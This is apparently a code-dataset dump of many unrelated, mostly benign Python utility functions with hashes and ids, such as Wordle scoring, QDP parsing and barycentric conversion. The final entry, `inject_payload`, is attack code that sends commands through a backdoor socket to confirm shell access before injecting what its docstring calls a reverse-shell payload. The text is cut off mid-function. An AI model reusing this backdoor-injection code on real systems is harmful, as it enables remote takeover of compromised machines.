content
stringlengths 39
14.9k
| sha1
stringlengths 40
40
| id
int64 0
710k
|
---|---|---|
def get_datetime(cube):
"""Extract the time coordinate from a cube in datetime format
"""
tcoord = cube.coord('time')
tcoord_as_datetime = tcoord.units.num2date(tcoord.points)
return tcoord_as_datetime
|
e9975950e2e7d32a9845e55e062d11d7fa7440f6
| 696,863 |
def secure_lookup(data, key1, key2 = None):
"""
Return data[key1][key2] while dealing with data being None or key1 or key2 not existing
"""
if not data:
return None
if key1 in data:
if not key2:
return data[key1]
if key2 in data[key1]:
return data[key1][key2]
return None
|
03316d8902572f9ece66229f45fcc68212120fa5
| 696,866 |
import re
def pint2cfunits(value):
"""Return a CF-Convention unit string from a `pint` unit.
Parameters
----------
value : pint.Unit
Input unit.
Returns
-------
out : str
Units following CF-Convention.
"""
# Print units using abbreviations (millimeter -> mm)
s = "{:~}".format(value)
# Search and replace patterns
pat = r"(?P<inverse>/ )?(?P<unit>\w+)(?: \*\* (?P<pow>\d))?"
def repl(m):
i, u, p = m.groups()
p = p or (1 if i else "")
neg = "-" if i else ("^" if p else "")
return "{}{}{}".format(u, neg, p)
out, n = re.subn(pat, repl, s)
return out
|
7527a76393553282e39800dd685fd7138e78b359
| 696,868 |
def _get_outcome(guess: str, solution: str) -> str:
"""Get outcome string for the given guess / solution combination
Args:
guess: the word guessed
solution: puzzle solution
Returns:
5-character string of:
'0' = letter not present
'1' = letter present but not in correct position
'2' = letter present and in correct position
"""
# We use lists to have mutable objects to work with
outcome = list("-----")
guess_list = list(guess)
solution_list = list(solution)
# Get 0 and 2 first - this manages multiple occurrences of the same letter
# whereby a letter in the correct position should take precedence
# over one not in the correct position
for position in range(5):
# Letter not present = 0
if guess_list[position] not in solution_list:
outcome[position] = "0"
guess_list[position] = "-"
# Letter in correct position = 2
elif guess_list[position] == solution_list[position]:
outcome[position] = "2"
solution_list[position] = "-"
guess_list[position] = "-"
# Now mop up remaining letters
for position in range(5):
if guess_list[position] != "-":
if guess_list[position] not in solution_list:
outcome[position] = "0"
else:
outcome[position] = "1"
solution_list[solution_list.index(guess_list[position])] = "-"
return "".join(outcome)
|
843e7d2c38d3bd7e22b508581924ada0416adb84
| 696,870 |
def generate_save_string(dataset, embedding_name, random_state=-1, sample=-1.0):
"""
To allow for multiple datasets to exist at once, we add this string to identify which dataset a run
script should load.
Arguments:
dataset (str) : name of dataset
embedding_name (str) : name of pre-trained embedding to use
(possible names can be found in possible_embeddings)
random_state (int) : random state used to split data into train, dev, test (if applicable)
sample (float) : percentage of possible data used for training
"""
return "_".join([dataset, embedding_name, str(random_state), str(sample)])
|
975fc413d86af2b5b3f24f440100efdd4013c478
| 696,872 |
def getDiffElements(initialList: list, newList: list) -> list:
"""Returns the elements that differ in the two given lists
Args:
initialList (list): The first list
newList (list): The second list
Returns:
list: The list of element differing between the two given lists
"""
final = []
for element in newList:
if element not in initialList:
final.append(element)
return final
|
a336d5f0c3073f3a656e0b79eaae2b117ba86899
| 696,873 |
def limit_stop_loss(entry_price: float, stop_price: float, trade_type: str, max_allowed_risk_percentage: int) -> float:
"""
Limits the stop-loss price according to the max allowed risk percentage.
(How many percent you're OK with the price going against your position)
:param entry_price:
:param stop_price:
:param trade_type:
:param max_allowed_risk_percentage:
:return: float
"""
risk = abs(entry_price - stop_price)
max_allowed_risk = entry_price * (max_allowed_risk_percentage / 100)
risk = min(risk, max_allowed_risk)
return (entry_price - risk) if trade_type == 'long' else (entry_price + risk)
|
ad60d370fc44c43ea9398691c271465009f6d96e
| 696,876 |
def nearest_x(num, x):
""" Returns the number rounded down to the nearest 'x'.
example: nearest_x(25, 20) returns 20. """
for i in range(x):
if not (num - i) % x:
return num - i
|
5d8a9b6a77b9bec37517ca00fcc1d7a383aaaea1
| 696,878 |
def safe_join_existing_lab(lab_id, client):
"""
gets a lab by its ID only if it exists on the server
"""
if lab_id in client.get_lab_list():
return client.join_existing_lab(lab_id)
return None
|
fe5ccc6fcb36fd90325a6156b3dff6d199d5ee8a
| 696,879 |
def pytest_report_collectionfinish(config, items):
"""Log how many and, if verbose, which items are tested in this shard."""
msg = "Running {num} items in this shard".format(num=len(items))
if config.option.verbose > 0:
msg += ": " + ", ".join([item.nodeid for item in items])
return msg
|
e81d3663f60505543a1b554d36e2dee26b7107f9
| 696,880 |
def extract_gist_id(gist_string):
"""Extract the gist ID from a url.
Will also work if simply passed an ID.
Args:
gist_string (str): Gist URL.
Returns:
string: The gist ID.
Examples:
gist_string : Gist url 'https://gist.github.com/{user}/{id}'.
"""
return gist_string.split("/")[-1]
|
7c93c5f78cc9c5dd1b1136a82e9359a20d31265f
| 696,881 |
from datetime import datetime
def get_timestamp(detailed=False):
"""
get_timestamp - returns a timestamp in string format
detailed : bool, optional, default False, if True, returns a timestamp with seconds
"""
if detailed:
return datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
else:
return datetime.now().strftime("%b-%d-%Y")
|
264eb48f7c205a187bc08a9b9ad73fdab05a6acb
| 696,886 |
import string
import random
def get_rand_string(size=6, chars=string.ascii_uppercase + string.digits):
"""generates a random string.
:param size: length of the string
:param chars: string of charaters to chese form, by default a-zA-Z0-9
"""
return ''.join(random.choice(chars) for _ in range(size))
|
655cad254414b265df30e160b6f4859f91680ed1
| 696,889 |
def flip(board):
"""Returns horizontal mirror image of board with inverted colors."""
flipped_board = dict()
for square, piece in board.items():
flipped_board[(7 - square[0], square[1])] = piece.swapcase()
return flipped_board
|
62e3bbbe33abdd2e2d4e1ce6eae9f992b0fd275a
| 696,890 |
import json
def cat_to_name(file):
"""
Loads a json file with mapping from category to flower name
Parameters:
file:
name of .json mapping file
Returns:
a python dictionary with mapping of categories to flower names
"""
with open(file, 'r') as f:
cat_to_name = json.load(f)
return cat_to_name
|
4545c9924c160665d984aee88d120f9648bf2f1e
| 696,894 |
def list_to_string(lst):
"""
convert a list to string format for config files
"""
return ",".join(map(str, lst))
|
c7eb44b84befb0d00fd72033e9cbcb50951c649c
| 696,897 |
def get_secs(t_string):
"""
From time_string like '00:00:35.660' returns the
number of seconds respect to '00:00:00.000'
returned value is float
"""
hours = t_string[0:2]
minutes = t_string[3:5]
secs = t_string[6:8]
m_secs = t_string[8:12]
secs_total = int(hours) * 3600 + int(minutes) * 60 + int(secs) + float(m_secs)
# print(hours,",", minutes,",", secs ,",", m_secs)
# print (secs_total)
return secs_total
|
2401adef97845e9d7d900baf882812ebf0acae58
| 696,901 |
def confirm(msg=None):
""" Confirms the removal of the file with a yes or no input """
# Loop "forever" intended
while True:
confirm_input = input(msg if msg is not None else "Purge this directory (yes/no)?")
if confirm_input.lower() in ["y", "yes"]:
return True
if confirm_input.lower() in ["n", "no"]:
return False
print("{} is invalid. Please use 'yes' or 'no'".format(confirm_input))
|
c6023f9fb72b10953afd0dbbea73a4f03db67de2
| 696,902 |
def is_kevinshome(ctx):
"""check to see if invoking user is kevinshome"""
return ctx.author.id == 416752352977092611
|
13f3bf234affe65c05f2b9cf9af89297ab5ef855
| 696,903 |
def mosaic_to_horizontal(ModelParameters, forecast_period: int = 0):
"""Take a mosaic template and pull a single forecast step as a horizontal model.
Args:
ModelParameters (dict): the json.loads() of the ModelParameters of a mosaic ensemble template
forecast_period (int): when to choose the model, starting with 0
where 0 would be the first forecast datestamp, 1 would be the second, and so on
must be less than forecast_length that the model was trained on.
Returs:
ModelParameters (dict)
"""
if str(ModelParameters['model_name']).lower() != "mosaic":
raise ValueError("Input parameters are not recognized as a mosaic ensemble.")
all_models = ModelParameters['series']
result = {k: v[str(forecast_period)] for k, v in all_models.items()}
model_result = {
k: v for k, v in ModelParameters['models'].items() if k in result.values()
}
return {
'model_name': "horizontal",
'model_count': len(model_result),
"model_metric": "mosaic_conversion",
'models': model_result,
'series': result,
}
|
1776062056b9c4d56bbcb8db5972ce62b9eacf68
| 696,909 |
def add_log_level(logger, method_name, event_dict):
"""
Add the log level to the event dict.
"""
if method_name == "warn":
# The stdlib has an alias
method_name = "warning"
event_dict["level"] = method_name
return event_dict
|
c69627fcbf8c7b0ec5890b8752f1327b95bd5854
| 696,911 |
def _is_python_file(filename):
"""Check if the input file looks like a Python script
Returns True if the filename ends in ".py" or if the first line
contains "python" and "#!", returns False otherwise.
"""
if filename.endswith('.py'):
return True
with open(filename, 'r') as file_handle:
first_line = file_handle.readline()
return 'python' in first_line and '#!' in first_line
|
a6d99166c6b76c4ae0ad5f5036951986fd5a102b
| 696,912 |
def RANGE(start, end, step=None):
"""
Generates the sequence from the specified starting number by successively
incrementing the starting number by the specified step value up to but not including the end point.
See https://docs.mongodb.com/manual/reference/operator/aggregation/range/
for more details
:param start: An integer (or valid expression) that specifies the start of the sequence.
:param end: An integer (or valid expression) that specifies the exclusive upper limit of the sequence.
:param step: An integer (or valid expression) that specifies the increment value.
:return: Aggregation operator
"""
return {'$range': [start, end, step]} if step is not None else {'$range': [start, end]}
|
3537e1e0cd28ae7d90e469a281ab373312fe075c
| 696,915 |
import six
def _unicode_to_str(data):
""" Utility function to make json encoded data an ascii string
Original taken from:
http://stackoverflow.com/questions/956867/how-to-get-string-objects-instead-of-unicode-ones-from-json-in-python
:param data: either a dict, list or unicode string
:return: ascii data
"""
if isinstance(data, dict):
return {_unicode_to_str(key): _unicode_to_str(value) for key, value in six.iteritems(data)}
elif isinstance(data, list):
return [_unicode_to_str(element) for element in data]
elif isinstance(data, six.text_type):
return data.encode('utf-8')
else:
return data
|
ff637b4cad60833de6c448cc3807c4928b2a94da
| 696,916 |
import re
def _line_type(line, delimiter=None):
"""Interpret a QDP file line
Parameters
----------
line : str
a single line of the file
Returns
-------
type : str
Line type: "comment", "command", or "data"
Examples
--------
>>> _line_type("READ SERR 3")
'command'
>>> _line_type(" \\n !some gibberish")
'comment'
>>> _line_type(" ")
'comment'
>>> _line_type(" 21345.45")
'data,1'
>>> _line_type(" 21345.45 1.53e-3 1e-3 .04 NO nan")
'data,6'
>>> _line_type(" 21345.45,1.53e-3,1e-3,.04,NO,nan", delimiter=',')
'data,6'
>>> _line_type(" 21345.45 ! a comment to disturb")
'data,1'
>>> _line_type("NO NO NO NO NO")
'new'
>>> _line_type("NO,NO,NO,NO,NO", delimiter=',')
'new'
>>> _line_type("N O N NOON OON O")
Traceback (most recent call last):
...
ValueError: Unrecognized QDP line...
>>> _line_type(" some non-comment gibberish")
Traceback (most recent call last):
...
ValueError: Unrecognized QDP line...
"""
_decimal_re = r'[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?'
_command_re = r'READ [TS]ERR(\s+[0-9]+)+'
sep = delimiter
if delimiter is None:
sep = r'\s+'
_new_re = rf'NO({sep}NO)+'
_data_re = rf'({_decimal_re}|NO|[-+]?nan)({sep}({_decimal_re}|NO|[-+]?nan))*)'
_type_re = rf'^\s*((?P<command>{_command_re})|(?P<new>{_new_re})|(?P<data>{_data_re})?\s*(\!(?P<comment>.*))?\s*$'
_line_type_re = re.compile(_type_re)
line = line.strip()
if not line:
return 'comment'
match = _line_type_re.match(line)
if match is None:
raise ValueError(f'Unrecognized QDP line: {line}')
for type_, val in match.groupdict().items():
if val is None:
continue
if type_ == 'data':
return f'data,{len(val.split(sep=delimiter))}'
else:
return type_
|
cbc0f5f831a80b28ce9aee01049c90c65b962ff4
| 696,919 |
def get_intermediate_objective_suffix(suffix=""):
"""
Returns dictionary of dictionaries of suffixes to intermediate files.
Dict contains:
objective - initial(s) of corresponding objective(s)
filesuffix - intermediate file/variable suffix
Args (optional) :
suffix - appends the user defined suffix to the one used by the
intermediate file
"""
intsuffix = [tuple(["comb_weight_R", "EPN", "cwgt_r"]),
tuple(["comb_weight_Exp", "EPN", "cwgt_e"]),
tuple(["index_exp", "EPN", "ind_e"]),
tuple(["index_ret", "EPN", "ind_r"]),
tuple(["ups_flowacc", "EPNFG", "flowacc"]),
tuple(["dret_flowlen", "EPNFG", "flowlen"]),
tuple(["index_cover", "FG", "ind_c"]),
tuple(["index_rough", "FG", "ind_r"]),
tuple(["comb_weight_ret", "FG", "cwgt_r"]),
tuple(["comb_weight_source", "FG", "cwgt_s"]),
tuple(["rainfall_depth_index", "F", "rain_idx"]),
tuple(["precip_annual_index", "G", "prec_idx"]),
tuple(["aet_index", "G", "aet_idx"])]
inter = dict()
for sfx in intsuffix:
filesuffix = '_'.join([sfx[2], suffix]).rstrip('_') + '.tif'
inter[sfx[0]] = {'objective': sfx[1],
'filesuffix': filesuffix}
return inter
|
b00395103d3d21749f4ce3fddc913a24289b4417
| 696,920 |
def ms_timestamp_to_epoch_timestamp(ts: int) -> int:
""" Converts a milliseconds timestamp to an epoch timestamp
:param ts: timestamp in miliseconds
:return: epoch timestamp in seconds
"""
return int(ts / 1000)
|
1c27d9ef053f568bcf9e5e37309b3def5f4c8dd0
| 696,929 |
def intersection_line_plane(p0, p1, p_co, p_no, epsilon=1e-9):
"""
Copied from https://stackoverflow.com/questions/5666222/3d-line-plane-intersection
p0, p1: Define the line.
p_co, p_no: define the plane:
p_co Is a point on the plane (plane coordinate).
p_no Is a normal vector defining the plane direction;
(does not need to be normalized).
Return a Vector or None (when the intersection can't be found).
"""
def add_v3v3(v0, v1):
return (v0[0] + v1[0], v0[1] + v1[1], v0[2] + v1[2])
def sub_v3v3(v0, v1):
return (v0[0] - v1[0], v0[1] - v1[1], v0[2] - v1[2])
def dot_v3v3(v0, v1):
return ((v0[0] * v1[0]) + (v0[1] * v1[1]) + (v0[2] * v1[2]))
def len_squared_v3(v0):
return dot_v3v3(v0, v0)
def mul_v3_fl(v0, f):
return (v0[0] * f, v0[1] * f, v0[2] * f)
u = sub_v3v3(p1, p0)
dot = dot_v3v3(p_no, u)
if abs(dot) > epsilon:
# The factor of the point between p0 -> p1 (0 - 1)
# if 'fac' is between (0 - 1) the point intersects with the segment.
# Otherwise:
# < 0.0: behind p0.
# > 1.0: infront of p1.
w = sub_v3v3(p0, p_co)
fac = -dot_v3v3(p_no, w) / dot
u = mul_v3_fl(u, fac)
return add_v3v3(p0, u)
else:
# The segment is parallel to plane.
return None
|
42ea283d5a9798a706e713dda8599c3d33a05cec
| 696,930 |
def _convert_to_barycentric(point, simplex, coordinates):
""" Converts the coordinates of a point into barycentric coordinates given a simplex.
Given a 2D point inside a simplex (a line segment or a triangle), find out its
barycentric coordinates. In the case of the line (1-simplex), this would be the point
expressed as a linear combination of the two endpoints. In the case of the triangle
(2-simplex), this would be the point expressed as a linear combination of three corner
coordinates.
This method will not work when finding barycentric coordinates of points within a
triangle or line segment in R^3. It is only meant for finding barycentric coordinates
of 2D points within 2D line segments or triangles.
Parameters
----------
point: list of floats, length 2
The 2D coordinates of the flattened vertex. The z-component should be 0.
simplex: list of ints, length 2 or 3
The indices corresponding to coordinates making up the line segment/triangle.
coordinates: list of pairs of floats
The 2D coordinate system in which the point and simplex lie.
Returns
-------
list of floats, length 2 or 3
The lambda values (i.e. the weights used in the linear combination) corresponding
to the barycentric coordinates of the point in the simplex. Length depends on the
type of simplex - 2 if a line, 3 if a triangle. If all values are between 0 and 1,
the point is in the simplex.
"""
if not len(point) == len(coordinates[0]) == 2:
raise Exception("_convert_to_barycentric: Invalid coordinate dimensions. " \
"This method only accepts coordinates in 2D.")
#initialise result
result = []
#if the simplex is a triangle, calculate the barycentric coordinates of the
#point in the triangle
if len(simplex) == 3:
#get coordinates from vertices of simplex
triangle_coordinates = [coordinates[i] for i in simplex]
(x_0, y_0), (x_1, y_1), (x_2, y_2) = triangle_coordinates
#find each of the three weights
lambda_0 = ((y_1-y_2)*(point[0]-x_2)+(x_2-x_1)*(point[1]-y_2)) / \
((y_1-y_2)*(x_0-x_2)+(x_2-x_1)*(y_0-y_2))
lambda_1 = ((y_2-y_0)*(point[0]-x_2)+(x_0-x_2)*(point[1]-y_2)) / \
((y_1-y_2)*(x_0-x_2)+(x_2-x_1)*(y_0-y_2))
lambda_2 = 1 - lambda_0 - lambda_1
result = [lambda_0, lambda_1, lambda_2]
#if the simplex is a line segment, find the proportions of each point in the line segment
elif len(simplex) == 2:
#since it's linear interpolation, the proportions are the same for both
#x and y components, so we just use one of them
x_0, x_1 = coordinates[simplex[0]][0], coordinates[simplex[1]][0]
#find the two weights
lambda_1 = (point[0] - x_0) / (x_1 - x_0)
lambda_0 = 1 - lambda_1
result = [lambda_0, lambda_1]
else:
raise Exception("_convert_to_barycentric: Invalid input simplex. " \
"This method is only defined for triangles and edges")
return result
|
d895325f8a605cefaa8ecd9e2cc4edd07690b932
| 696,933 |
from typing import Counter
def is_anagram(word, _list):
"""
Checks if the given word has its anagram(s)
on the given list of words.
:param word: word
:param _list: list of words
:return a list of found anagrams
"""
word = word.lower()
anagrams = []
for words in _list:
if word != words.lower():
if Counter(word) == Counter(words.lower()):
anagrams.append(words)
return anagrams
|
dc6da021ed46e5068f16608fb9f3f78fedeea4a8
| 696,942 |
def diagonal (line):
"""Indicates whether or not `line` is diagonal."""
return (line.p.x != line.q.x) and (line.p.y != line.q.y)
|
b5c64e983c429023ccd2c7e57bba59511567e2d5
| 696,943 |
def cleave(sequence, index):
"""
Cleaves a sequence in two, returning a pair of items before the index and
items at and after the index.
"""
return sequence[:index], sequence[index:]
|
5f542de88eb4cd7496a2308c9625cc7db766c90c
| 696,944 |
def age_to_eye_diameter(age):
"""Calulates the size of an eye given an age
Args:
age (float): age of the observer
Returns:
D_eye (float): Best diameter of Eyepiece (mm)
"""
if age <= 20:
D_eye = 7.5
elif ((age> 20) and (age<= 30)):
D_eye = 7
elif ((age> 30) and (age<= 35)):
D_eye = 6.5
elif ((age> 35) and (age<= 45)):
D_eye = 6
elif ((age> 45) and (age<= 60)):
D_eye = 5.5
else:
D_eye = 5.0
return D_eye
|
f67154b48ec3e246e6049bfcb89c67b908d896b9
| 696,945 |
def transform_zip(number):
"""Get rid of extended format ZIP code."""
zip_code = number.split("-")[0]
return zip_code
|
9ef27547f501b6f77ffff0198a4965b3082c2c91
| 696,947 |
def flatten_list(list_):
"""
Flattens out nested lists and tuples (tuples are
converted to lists for this purpose).
Example:
In [1]: flatten_list([1, [[2, 3], [4, 5]], 6])
Out[1]: [1, 2, 3, 4, 5, 6]
"""
items = []
for element in list_:
if isinstance(element, (list, tuple)):
items.extend(flatten_list(list(element)))
else:
items.append(element)
return items
|
c914976b1ded7b43d6a2031ac51aca9299c6a2ce
| 696,948 |
def jetCollectionString(prefix='', algo='', type=''):
"""
------------------------------------------------------------------
return the string of the jet collection module depending on the
input vaules. The default return value will be 'patAK5CaloJets'.
algo : indicating the algorithm type of the jet [expected are
'AK5', 'IC5', 'SC7', ...]
type : indicating the type of constituents of the jet [expec-
ted are 'Calo', 'PFlow', 'JPT', ...]
prefix : prefix indicating the type of pat collection module (ex-
pected are '', 'selected', 'clean').
------------------------------------------------------------------
"""
if(prefix==''):
jetCollectionString ='pat'
else:
jetCollectionString =prefix
jetCollectionString+='Pat'
jetCollectionString+='Jets'
jetCollectionString+=algo
jetCollectionString+=type
return jetCollectionString
|
c77c2fd3afcccb1e62e1d92103ce677775fae0e4
| 696,952 |
import re
def sanitize_tag_label(label_string):
"""Return string slugified, uppercased and without dashes."""
return re.sub(r'[-\s]+', '-', (re.sub(r'[^\w\s]', '',label_string).strip().upper()))
|
1fee28a86533a5fda3a34a647c445fdaa73e3c59
| 696,953 |
def strip_extension(input_string: str, max_splits: int) -> str:
"""Strip the extension from a string, returning the file name"""
output = input_string.rsplit(".", max_splits)[0]
return output
|
62c388fd1cf11883f9e2b0259fb9ec7632537bd2
| 696,954 |
import re
def header(line):
"""
add '>' if the symbol is missing at the end of line
"""
line=line.strip()
if re.match("##.*<.*", line) and line[-1:] != '>':
line=line+'>'
return line
|
b06488ff95d154836d622f55ebb5b26661d1fceb
| 696,957 |
def normalize_expasy_id(expasy_id: str) -> str:
"""Return a standardized ExPASy identifier string.
:param expasy_id: A possibly non-normalized ExPASy identifier
"""
return expasy_id.replace(" ", "")
|
30107cd75cba116b977a001f3839b1e9f32395ce
| 696,959 |
def get_excel_column_index(column: str) -> int:
"""
This function converts an excel column to its respective column index as used by pyexcel package.
viz. 'A' to 0
'AZ' to 51
:param column:
:return: column index of type int
"""
index = 0
column = column.upper()
column = column[::-1]
for i in range(len(column)):
index += ((ord(column[i]) % 65 + 1)*(26**i))
return index-1
|
a42b05e2c08c3a6611c066fa49153f6dade93728
| 696,962 |
def shift_conv(matchobj):
"""
Transform '(a<b)' into 'a * 2**b'.
"""
shift = 1 << int(matchobj.group(2))
formula = '{}*{}'.format(matchobj.group(1), shift)
return formula
|
c17d4c8585e18cc99d9e70848a2f9e776a21cdf6
| 696,963 |
def convert_db_dict_into_list(db_dict):
"""Convert dictionary of processes into list of processes."""
db_list = []
for key in db_dict.keys():
assert key == db_dict[key]["@id"]
db_list.append(db_dict[key])
return db_list
|
ce0d678ffef92a66f5ce988bf2b7143248a1a60d
| 696,964 |
def taskname(*items):
"""A task name consisting of items."""
s = '_'.join('{}' for _ in items)
return s.format(*items)
|
c8283ea85818b3e3bac6ec5357439e8c944b05e8
| 696,969 |
import re
def find_serial_number(show_ver):
"""
Find the serial number in show version output.
Example: Processor board ID FTX1512038X
"""
match = re.search(r"Processor board ID (.*)", show_ver)
if match:
return match.group(1)
return ''
|
37b678555caaa58c08c3629c5a1fd85bd024a862
| 696,973 |
from typing import Tuple
def intersect(input_blocks: Tuple[int, int]) -> int:
"""Intersect tuple of input blocks to return air or stone
Arguments:
input_blocks {Tuple[int, int]} -- Two input blocks
Returns:
int -- Intersected block
"""
if input_blocks[0] == 0 or input_blocks[1] == 0:
return 0
return 4
|
f1a900d3421244b2754b2ec60fe527568fa76739
| 696,978 |
import struct
def decode_string(binary_input):
"""Decode a binary uon string. Length of the string is encoded
on the two first bytes, the string value is utf-8 encoded on the rest.
Args:
binary_input (bytes): a binary uon string
Returns:
tuple: uon string with the decoded value,
and the rest of the binary
"""
length_encoded = binary_input[0:2]
length = struct.unpack("<H", length_encoded)[0]
end_string_offset = length + 2
encoded_value = binary_input[2:end_string_offset]
rest = binary_input[end_string_offset:]
unpack_format = f"{length}s"
value = struct.unpack(unpack_format, encoded_value)[0]
return value.decode("utf-8"), rest
|
96a7857352d0530bf5ed896be1203e82b8540f5b
| 696,980 |
def get_single_key_value_pair(d):
"""
Get the key and value of a length one dictionary.
Parameters
----------
d : dict
Single element dictionary to split into key and value.
Returns
-------
tuple
of length 2, containing the key and value
Examples
--------
>>> d = dict(key='value')
>>> get_single_key_value_pair(d)
('key', 'value')
"""
assert isinstance(d, dict), f'{d}'
assert len(d) == 1, f'{d}'
return list(d.items())[0]
|
c4fb7a05aa74a69ebb55a867e23298748a919738
| 696,983 |
def _fconvert(value):
"""
Convert one tile from a number to a pentomino character
"""
return {523: 'U', 39: 'N', 15: 'F', 135: 'W', 23: 'P', 267: 'L',
139: 'Z', 77: 'T', 85: 'Y', 43: 'V', 33033: 'I', 29: 'X'}[value]
|
73900c0f76fd8ab50d92c9db049547c83ab1c5d0
| 696,984 |
def load_story_ids(filename):
""" Load a file and read it line-by-line
Parameters:
-----------
filename: string
path to the file to load
Returns:
--------
raw: list of sentences
"""
f = open(filename, "r")
story_ids = [line[:-1] for line in f]
f.close()
return story_ids
|
a97580467da036b687fa1de4179159c113cf1d1b
| 696,987 |
import six
def make_model_tuple(model):
"""
Takes a model or a string of the form "app_label.ModelName" and returns a
corresponding ("app_label", "modelname") tuple. If a tuple is passed in,
it's assumed to be a valid model tuple already and returned unchanged.
"""
if isinstance(model, tuple):
model_tuple = model
elif isinstance(model, six.string_types):
app_label, model_name = model.split(".")
model_tuple = app_label, model_name.lower()
else:
model_tuple = model._meta.app_label, model._meta.model_name
assert len(model_tuple) == 2, "Invalid model representation: %s" % model
return model_tuple
|
250586856243d6d019a45f0dc3f1b2a5eedf5dfb
| 696,990 |
import re
def format_label_name(name):
"""
Format string label name to remove negative label if it is
EverythingElse
"""
m = re.match("\[([A-Za-z0-9]+)\]Vs\[EverythingElse\]", name)
if m is None:
return name
else:
return m.group(1)
|
7fd5769314da849810b81a23ab32fe099ed600ae
| 696,993 |
def readFile(fileName):
"""Read a file, returning its contents as a single string.
Args:
fileName (str): The name of the file to be read.
Returns:
str: The contents of the file.
"""
fileContents = ""
with open(fileName) as inputFile:
fileContents = inputFile.read()
return fileContents
|
7292b38ac46fb60a733bffeddb9c7ee8fa600e03
| 696,995 |
def regenerate_node(arbor, node):
"""
Regenerate the TreeNode using the provided arbor.
This is to be used when the original arbor associated with the
TreeNode no longer exists.
"""
if node.is_root:
return arbor[node._arbor_index]
root_node = node.root
return root_node.get_node("forest", node.tree_id)
|
6c900050ed03f8dc175a7b584cba04d9519cb232
| 696,996 |
import torch
def label2one_hot_torch(labels, C=14):
""" Converts an integer label torch.autograd.Variable to a one-hot Variable.
Args:
labels(tensor) : segmentation label
C (integer) : number of classes in labels
Returns:
target (tensor) : one-hot vector of the input label
Shape:
labels: (B, 1, H, W)
target: (B, N, H, W)
"""
b,_, h, w = labels.shape
one_hot = torch.zeros(b, C, h, w, dtype=torch.long).to(labels)
target = one_hot.scatter_(1, labels.type(torch.long).data, 1) #require long type
return target.type(torch.float32)
|
f44170bc7c8a37ca1ccb9afb104c9786e11f8396
| 696,997 |
def get_shape_columns(shape):
"""Return the number of columns for the shape."""
try:
return shape[1]
except (IndexError, TypeError):
return 0
|
48f5fb00248e7c51fb2c8e26e705b92d57f20d46
| 696,998 |
def formacion(soup, home_or_away):
"""
Given a ficha soup, it will return either the formacion table of the home team, or the away one.
Args:
soup (BeautifulSoup): Soup of the current match
home_or_away (int): Either a 1(home team) or 0(away team)
"""
return soup.find('table', attrs={ 'id': f'formacion{home_or_away}' })
|
9213eb269bbca0b5fd86ed9e5b5e43eef871dd4d
| 696,999 |
def _2D_ticks(x_num_ticks, y_num_ticks, env_config, type_):
"""
Generates the tick labels for the heatmap on a 2D-state environment
Parameters
----------
num_ticks : int
The total number of ticks along the axis
env_config : dict
The environment configuration file as a dict
type_ : str
The type of plot to get the ticks of the heatmap for, one of 'state',
'action'
Returns
-------
2-tuple of func
The function to generate the x tick labels and the function to
generate the y tick labels
"""
if type_ == "state":
ymin, xmin = env_config["state_low"]
ymax, xmax = env_config["state_high"]
else:
ymin, xmin = 0.0, env_config["action_low"][0]
ymax, xmax = 0.0, env_config["action_high"][0]
def xtick(x, pos):
if pos == 0:
return "{:.2f}".format(xmin)
elif pos == x_num_ticks - 1:
return "{:.2f}".format(xmax)
elif pos == x_num_ticks - (x_num_ticks // 2):
return "{:.1f}".format((xmax + xmin) / 2)
else:
return ""
def ytick(x, pos):
if pos == 0:
return "{:.2f}".format(ymin)
elif pos == y_num_ticks - 1:
return "{:.2f}".format(ymax)
elif pos == y_num_ticks - (y_num_ticks // 2):
return "{:.1f}".format((ymax + ymin) / 2)
else:
return ""
return xtick, ytick
|
e0b93f06c0d8161d3464ac396b592baa1dcd965f
| 697,002 |
def _splitDate(nymd):
"""
Split nymd into year, month, date tuple.
"""
nymd = int(nymd)
yy = nymd/10000
mm = (nymd - yy*10000)/100
dd = nymd - (10000*yy + 100*mm )
return (yy,mm,dd)
|
0dca81925f6ea4e965962cd436444c3b78e05467
| 697,003 |
def get_values_greater_than(values, A): # O(N)
"""
From a ascendingly sorted array of values, get values > A
>>> get_values_greater_than([1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121], 64)
[121, 100, 81, 64]
>>> get_values_greater_than([1], 1)
[1]
"""
num_values = len(values) # O(1)
array = [] # O(1)
for i in range(num_values - 1, -1, -1): # O(N)
value = values[i] # O(1)
if value >= A: # O(1)
array.append(value) # O(1)
else: # O(1)
return array # O(1)
return array # O(1)
|
a1599139be2823cdf05de88ef1cfdc0dd6eceb4c
| 697,005 |
def by_command(extractor, prefix=('/',), separator=' ', pass_args=False):
"""
:param extractor:
a function that takes one argument (the message) and returns a portion
of message to be interpreted. To extract the text of a chat message,
use ``lambda msg: msg['text']``.
:param prefix:
a list of special characters expected to indicate the head of a command.
:param separator:
a command may be followed by arguments separated by ``separator``.
:type pass_args: bool
:param pass_args:
If ``True``, arguments following a command will be passed to the handler
function.
:return:
a key function that interprets a specific part of a message and returns
the embedded command, optionally followed by arguments. If the text is
not preceded by any of the specified ``prefix``, it returns a 1-tuple
``(None,)`` as the key. This is to distinguish with the special
``None`` key in routing table.
"""
if not isinstance(prefix, (tuple, list)):
prefix = (prefix,)
def f(msg):
text = extractor(msg)
for px in prefix:
if text.startswith(px):
chunks = text[len(px):].split(separator)
return chunks[0], (chunks[1:],) if pass_args else ()
return (None,), # to distinguish with `None`
return f
|
db76383bcad80be4381bb26fb65f4594576248b8
| 697,008 |
def get_filename_from_path(file_path, delimiter="/"):
""" Get filename from file path (filename.txt -> filename)
"""
filename = file_path.split(delimiter)[-1]
return filename.split(".")[0]
|
b079ce15dd44e8db314fdd5cb354e3bf2cab8471
| 697,009 |
import time
def loop(tasks=1, breaks=0, *args, **kwargs):
"""
Loop a function X amount of times
:param tasks: Amount of times to loop the function
:param breaks: The amount of time to wait between each loop.
"""
def wrapper(original_func, *args, **kwargs):
for i in range(tasks):
original_func(*args, **kwargs)
time.sleep(breaks)
return wrapper
|
6d682d7d980c7f17ad2ccc45c7a509b52cf23065
| 697,010 |
def add(first, second):
"""Return the sum of the two numbers."""
return first + second
|
2b9b604d4958579774e6c96eab2bea63506468df
| 697,011 |
import socket
import re
def inject_payload(conn: socket.socket, payload) -> bool:
"""
Inject a payload into the backdoor connection.
:param conn: socket object connected to backdoor
:param payload: payload to inject (usually a reverse shell)
:return: boolean indicating success or failure
"""
print('Injecting payload via backdoor.')
# verify that we have a shell and grab the user ID
sent_bytes = conn.send('id\n'.encode())
response = conn.recv(1024)
uid_data = response.decode().strip()
